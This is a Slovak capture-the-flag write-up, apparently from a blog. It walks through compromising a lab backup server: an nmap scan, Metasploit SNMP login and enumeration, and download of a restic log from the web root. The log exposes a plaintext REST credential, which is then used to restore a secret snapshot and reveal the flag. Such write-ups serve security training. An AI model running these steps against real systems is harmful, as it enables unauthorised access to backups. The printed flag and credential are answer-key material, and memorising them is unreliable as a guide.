Admin Johnson začal testovať zálohovacie procedúry na serveri johnson-backup.cypherfix.tcc. Pre iné zaujímavé úlohy ale nechal proces nedokončený. Mám zistiť, či je v súčasnom stave úspešne napadnuteľný.
Pomôcka - admin Johnson neudržuje dobrú hygienu hesiel
Pozriem najskôr otvorené porty:
$ nmap johnson-backup.cypherfix.tcc
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-13 23:36 CET
Nmap scan report for johnson-backup.cypherfix.tcc (10.99.24.30)
PORT STATE SERVICE
80/tcp open http
199/tcp open smux
Na porte 80 je default stránka Apache, na porte 199 beží bežne SNMP a k tejto službe som našiel postup na napadnutie cez Metasploit.
Postup na napadnutie SNMP cez Metasploit je vo videu: https://www.youtube.com/watch?v=-WbTPKPqqhE
Postup je takýto:
$ msfconsole
use auxiliary/scanner/snmp/snmp_login
show options
setg rhosts johnson-backup.cypherfix.tcc
exploit
Počkám a vidím, že sa podarilo prihlásiť cez public ako readonly
use auxiliary/scanner/snmp/snmp_enum
show options
exploit
[*] Processes:
Id Status Name Path Parameters
1 runnable supervisord /usr/bin/python3 /usr/bin/supervisord
7 runnable apache2ctl /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
8 runnable cron /usr/sbin/cron -f
9 running snmpd /usr/sbin/snmpd -f
12 runnable cron /usr/sbin/CRON -f
16 runnable sh /bin/sh -c /etc/scripts/restic.sh >> /var/www/html/3cde480a8572719b9b33acb1257c6361/restic.err.log 2>&1
20 runnable restic.sh /bin/bash /etc/scripts/restic.sh
28 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9331 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9359 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9387 runnable apache2 /usr/sbin/apache2 -D FOREGROUND
9767 runnable sleep sleep 86400
Tu vidím zopár bežiacich procesov (je to linux) a medzi nimi aj restic.sh a jeho log je pod cestou kde býva bežne web /var/www/html/...
Túto cestu vezmem a stiahnem si log:
$ wget http://johnson-backup.cypherfix.tcc/3cde480a8572719b9b33acb1257c6361/restic.err.log
Hneď na začiatku logu vidím, akým loginom a heslom sa snaží ísť na backup server cez rest:
restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test check
Tu je vidieť aj host, port a cesta backup stroja.
Doinštaloval som si restic, príkaz dáva rovnaké chyby ako sú v stiahnutom logu. Skúšal som miesto check na konci dať "cat config" nezobral, ani "ls latest".
Vyzerá, že po zavolaní príkazu restic, má problém s uzamknutím. Ale je tu parameter pre readonly bez zamknutia (pridať --no-lock)
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test cat config
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
Save(<lock/c7f99f0a93>) returned error, retrying after 1.062777851s: unexpected HTTP response (500): 500 Internal Server Error
Save(<lock/c7f99f0a93>) returned error, retrying after 1.174555077s: unexpected HTTP response (500): 500 Internal Server Error
Save(<lock/c7f99f0a93>) returned error, retrying after 4.453225244s: unexpected HTTP response (500): 500 Internal Server Error
signal interrupt received, cleaning up
unable to create lock in backend: context canceled
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test cat config --no-lock
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
{
"version": 2,
"id": "4c59d4155a5d2ae7ed28d38beec68203d6bd532010ada7611052f207b0f636fc",
"chunker_polynomial": "2ed88a9281b017"
}
Vyzerá, že toto bol hlavný problém a teraz sa už dopracujem ku vlajke, ako tak pozerám posledné zálohy cez "ls latest":
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test ls latest --no-lock
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
snapshot 84e8d815 of [/etc/secret] at 2024-08-08 08:58:38.365981379 +0000 UTC by root@4d6c9220e986 filtered by []:
/etc
/etc/secret
/etc/secret/flag
Zoberiem číslo snapshotu a ideme restorovať (iné príkazy som nemal úspech, taký dump a pod)
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test restore 84e8d815 --no-lock --target ../rest
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
restoring snapshot 84e8d815 of [/etc/secret] at 2024-08-08 08:58:38.365981379 +0000 UTC by root@4d6c9220e986 to ../rest
Summary: Restored 3 files/dirs (26 B) in 0:00
Výsledok - mám u seba v podadresároch restornutý súbor flag.
Obsahuje vlajku FLAG{OItn-zKZW-cht7-RNH4}
Obsahuje vlajku FLAG{OItn-zKZW-cht7-RNH4}
Žiadne komentáre:
Zverejnenie komentára